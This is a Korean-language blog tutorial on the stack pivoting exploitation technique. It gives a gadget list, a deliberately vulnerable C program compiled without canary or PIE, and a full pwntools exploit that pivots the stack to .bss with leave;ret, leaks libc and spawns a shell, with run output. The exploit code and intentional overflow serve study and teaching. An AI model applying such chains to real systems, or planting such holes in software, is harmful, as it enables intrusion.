stack pivoting 가젯을 활용해 스택의 흐름을 변경해서 익스플로잇을 수행하는 공격 기법이다.
쓰기 가능한 영역(.bss 영역 등)을 활용해서 fake stack을 구성한 뒤
ROP 체이닝에 활용하는 식으로 공격을 수행할 수 있다.
일반적으로 사용하는 gadget은 다음과 같다.
gadget 종류 | ||
add esp, offset; ret; |
sub esp, offset; ret; |
call register; |
push register; pop esp; ret; |
xchg register, esp; ret; |
mov esp, register; ret; |
leave; ret; |
mov register,[ebp+0c]; call register; |
mov reg, dword ptr fs:[0]; …; ret; |
여기서 주로 leave; ret; 가젯을 사용한다.
"leave; ret;" gadget
leave와 ret는 보통 함수의 에필로그 단계에서 나오는 기계어 코드이다.
각 기계 코드는 아래와 같은 기능을 수행한다.
epilog code | |
leave | ret |
mov rsp, rbp; pop rbp; |
pop rip; jmp rip; |
실습
// [출처] 34. Stack pivoting|작성자 JSec
// gcc -o pivot pivot.c -fno-stack-protector -z now -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int loop = 0;
int main(void)
{
char buf[0x30];
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
if (loop)
{
puts("bye");
exit(-1);
}
loop = 1;
read(0, buf, 0x100);
return 0;
}
void gadget(void)
{
__asm__ __volatile__("pop %rdi;ret;pop %rsi;ret;pop %rdx;ret;leave;ret;");
}
loop 변수가 지정되어 있어 main 함수는 한 번만 실행된다.
보호 기법 중 pie, canary를 해제시켜 컴파일 했다.
또한 컴파일 할 때 원하는 가젯이 나오지 않아서 gadget 함수를 통해 추가해줬다.
익스플로잇 코드는 다음과 같다.
from pwn import *
p = process('./pivot')
e = ELF('./pivot')
libc = e.libc
r = ROP(e)
# gdb.attach(p)
# context.log_level='debug'
read_plt = e.plt['read']
puts_plt = e.plt['puts']
read_got = e.got['read']
bss = e.bss()
read_offset = libc.symbols['read']
system_offset = libc.symbols['system']
binsh_offset = list(libc.search(b"/bin/sh"))[0]
leave_ret = r.find_gadget(['leave', 'ret'])[0]
ret = r.find_gadget(['ret'])[0]
pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = r.find_gadget(['pop rsi', 'ret'])[0]
pop_rdx = r.find_gadget(['pop rdx', 'ret'])[0]
payload = b'A' * 0x30
payload += p64(bss + 0x500)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss+0x500)
payload += p64(pop_rdx) + p64(0x80)
payload += p64(read_plt)
payload += p64(leave_ret)
p.send(payload)
payload = p64(bss+0x700)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss+0x700)
payload += p64(pop_rdx) + p64(0x80)
payload += p64(read_plt)
payload += p64(leave_ret)
p.send(payload)
read = u64(p.recvn(6)+b'\x00'*2)
lb = read - read_offset
system = lb + system_offset
binsh = lb + binsh_offset
print("[read]", hex(read))
print("[libc_base]", hex(lb))
print("[system]", hex(system))
print("[/bin/sh]", hex(binsh))
payload = p64(0)
payload += p64(ret)
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)
p.send(payload)
p.interactive()
.bss 영역 등 쓰기 가능한 영역을 찾아서 fake stack으로 활용해준다.
(ROP 체이닝에 활용)
여기서 bss+0x500, bss+0x700을 주소로 사용했는데
bss+0x200 까지는 함수들이 사용할 수 있는 부분이라서 충돌이 날 수 있다고 한다.
(실제로 bss+0x300을 사용했더니 세그먼테이션 폴트가 발생했다)
rsp를 fake stack으로 바꿔주기 위해 leave; ret; 가젯을 사용한다.
총 3번의 페이로드 전달이 이루어지는데 각각을 살펴보자.
첫 번째 페이로드는 다음과 같다.
payload = b'A' * 0x30
payload += p64(bss + 0x500)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss+0x500)
payload += p64(pop_rdx) + p64(0x80)
payload += p64(read_plt)
payload += p64(leave_ret)
첫 번째 페이로드는 main의 read가 호출되었을 때 전달된다.
buf를 덮고 SFP, RET를 덮는 페이로드이다.
buf의 크기 0x30만큼 'A'로 채우고
SFP 영역은 bss+0x500의 주소로 오버라이트한다.
이후 ROP 체이닝으로 read 함수를 호출해 bss+0x500에 데이터를 쓴 뒤
leave ret 가젯을 호출하여 rsp를 bss+0x500으로 설정해준다.
두 번째 페이로드는 다음과 같다.
payload = p64(bss+0x700)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss+0x700)
payload += p64(pop_rdx) + p64(0x80)
payload += p64(read_plt)
payload += p64(leave_ret)
두 번째 페이로드는 첫 번째 페이로드의 read 함수가 호출되었을 때 전달된다.
먼저, SFP는 bss+0x700으로 설정해주고
libc_base leak을 수행하기 위해 read 함수의 got 주소를 puts 함수로 출력한다.
read 함수로 bss+0x700에 데이터를 쓴 뒤
leave ret 가젯을 호출하여 rsp를 bss+0x700으로 설정해준다.
puts로 주소를 받은 후 쉘을 따기 위한 주소들을 계산한다.
read = u64(p.recvn(6)+b'\x00'*2)
lb = read - read_offset
system = lb + system_offset
binsh = lb + binsh_offset
마지막 세 번째 페이로드는 다음과 같다.
payload = p64(0)
payload += p64(ret)
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)
이제 SFP 영역은 의미가 없으므로 0으로 설정해주고
스택 정렬을 위해 ret 가젯을 넣어준다.
이후 "/bin/sh" 문자열이 저장된 주소를 인자로 설정한 뒤
system 함수를 호출하면 쉘을 딸 수 있다!
익스플로잇 과정을 그림으로 정리해보자!
먼저 초기 상태는 맨 왼쪽 그림과 같다.
main 함수에 있던 read 함수의 BOF 취약점을 이용해
스택의 SFP를 변조하고 fake_stack_1에 데이터를 채우기 위한 read 함수와
leave; ret; 가젯을 데이터로 전달했다.
이후 메인 함수의 에필로그 과정에 진입하게 되면 leave; ret;을 수행할 것이다.
(read 함수로 입력한 게 아닌 원래 메인 함수에 있는거다)
leave는 mov rsp, rbp; pop rbp;를 수행한다.
mov rsp, rbp;를 수행하면 rsp가 rbp 위치로 이동하고,
pop rbp;를 수행하면 변조했었던 SFP 값인 bss+0x500이 rbp에 저장된다.
에필로그 이후 메인 함수의 ret 영역(stack)에 넣은 read 함수가 실행되면
bss+0x500(fake_stack_1)에 데이터를 채워 넣을 수 있다.
이후 에필로그 과정인 leave; ret;을 통해
rsp는 rbp에 저장되어 있던 bss+0x500(fake_stack_1)으로 이동하고
rbp는 bss+0x700(fake_stack_2)으로 이동한다.
에필로그 과정이 끝나면 fake_stack_1에 넣은 ROP 페이로드가 실행된다.
puts 함수를 통해 read 함수의 got 주소를 받아온 뒤
쉘을 얻기 위한 system 함수, "/bin/sh" 문자열의 주소를 계산한다.
이후 read 함수가 실행되면 bss+0x700(fake_stack_2)에 데이터를 채워 넣을 수 있다.
(쉘을 얻기 위한 ROP 페이로드 삽입)
마지막 에필로그 과정을 통해
rsp는 rbp에 저장되어 있던 bss+0x700(fake_stack_2)으로 이동하고
rbp는 dummy SFP로 이동한다.
이후 system("/bin/sh")가 실행되면 쉘을 얻는다!
실행 결과는 다음과 같다.
$ python3 ex.py
[+] Starting local process './pivot': pid 240
[*] '/mnt/c/Users/chans/Downloads/pivot/pivot'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/usr/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 8 cached gadgets for './pivot'
[read] 0x7f073b2e1980
[libc_base] 0x7f073b1cd000
[system] 0x7f073b21dd60
[/bin/sh] 0x7f073b3a5698
[*] Switching to interactive mode
$ id
uid=1000(ssongk) gid=1000(ssongk) groups=1000(ssongk)
레퍼런스
https://blog.naver.com/yjw_sz/221580782633
https://velog.io/@silvergun8291/Stack-pivoting
'background > linux' 카테고리의 다른 글
[how2heap] Fastbin dup into stack (glibc 2.35) (1) | 2024.03.11 |
---|---|
[how2heap] Fastbin dup (glibc 2.35) (0) | 2024.03.05 |
[how2heap] House of Lore (glibc 2.35) (0) | 2023.07.03 |
[how2heap] Tcache House of Spirit (glibc 2.35) (0) | 2023.05.23 |
[how2heap] House of Force (glibc 2.27) (0) | 2023.03.26 |